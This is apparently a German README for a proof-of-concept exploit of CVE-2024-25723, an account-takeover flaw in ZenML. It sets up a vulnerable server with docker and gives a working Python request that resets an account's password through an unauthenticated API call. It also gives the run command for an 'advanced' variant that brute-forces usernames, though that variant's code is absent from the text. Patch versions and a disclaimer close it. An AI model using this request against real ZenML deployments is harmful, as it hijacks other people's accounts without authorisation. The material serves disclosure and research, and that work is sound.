
Lehrreicher Proof-of-Concept-Exploit für CVE-2024-25723, der die unbefugte Kontoübernahme in ZenML über eine API-Passwortzurücksetzung demonstriert, mit Versionserkennung und Brute-Force-Benutzernamensermittlung.
Dieses Repository widmet sich der Behandlung von CVE-2024-25723, einer kritischen Sicherheitslücke in ZenML, und enthält einen bildungstechnischen Proof of Concept (PoC), um das Problem zu veranschaulichen und eine schnelle Behebung zu fördern. Der PoC zeigt, wie ein unbefugter Benutzer die Schwachstelle potenziell ausnutzen könnte, um die Kontrolle über beliebige ZenML-Konten zu übernehmen.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
Der Unterschied zwischen PoC und dem erweiterten Exploit besteht darin, dass der erweiterte Exploit die am häufigsten verwendeten Benutzernamen per Brute-Force ermittelt und außerdem durch eine API, die die ZenML-Version preisgibt, erkennen kann, ob die Version anfällig ist oder nicht. Um den erweiterten Exploit zu verwenden, speichern Sie den folgenden Code in einer Datei:
Der Befehl zum Ausführen dieses Exploits lautet:
python3 advanced-exploit-CVE-2024-25723.py https://example.com
Alle ZenML-Versionen unter 0.46.7 sind anfällig, mit Ausnahme der folgenden Patch-Versionen: (0.44.4, 0.43.1, 0.42.2).
Führen Sie ein Upgrade auf die neueste Version (0.46.7 oder höher) oder eine der gepatchten Versionen (0.44.4, 0.43.1, 0.42.2) durch, um dieses Risiko zu mindern.
Der in diesem Repository bereitgestellte Proof of Concept (PoC) dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Die Informationen und der Code sind für Cybersicherheitsexperten und Forscher bestimmt, um Schwachstellen in Software und Systemen zu verstehen und sich davor zu schützen. Jegliche Verwendung dieses PoC, der zugehörigen Informationen oder des Codes zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal und strengstens untersagt.
Durch die Verwendung dieses PoC erklären Sie sich damit einverstanden, dass Sie die potenziellen Auswirkungen der demonstrierten Sicherheitslücke verstehen und dass Sie sie verantwortungsvoll und ethisch nutzen werden. Die Autoren dieses PoC lehnen jegliche Haftung für Missbrauch dieses Materials oder Schäden ab, die durch die Verwendung der bereitgestellten Informationen und des Codes entstehen können. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen, nationalen und internationalen Gesetze einzuhalten.
Die Autoren haben alle Anstrengungen unternommen, um die Richtigkeit und Zuverlässigkeit der in diesem Repository bereitgestellten Informationen zu gewährleisten. Die Informationen werden jedoch "wie besehen" ohne jegliche Gewährleistung bereitgestellt. Die Autoren übernehmen keine Verantwortung oder Haftung für die Richtigkeit, Vollständigkeit, Rechtmäßigkeit oder Zuverlässigkeit der enthaltenen Informationen.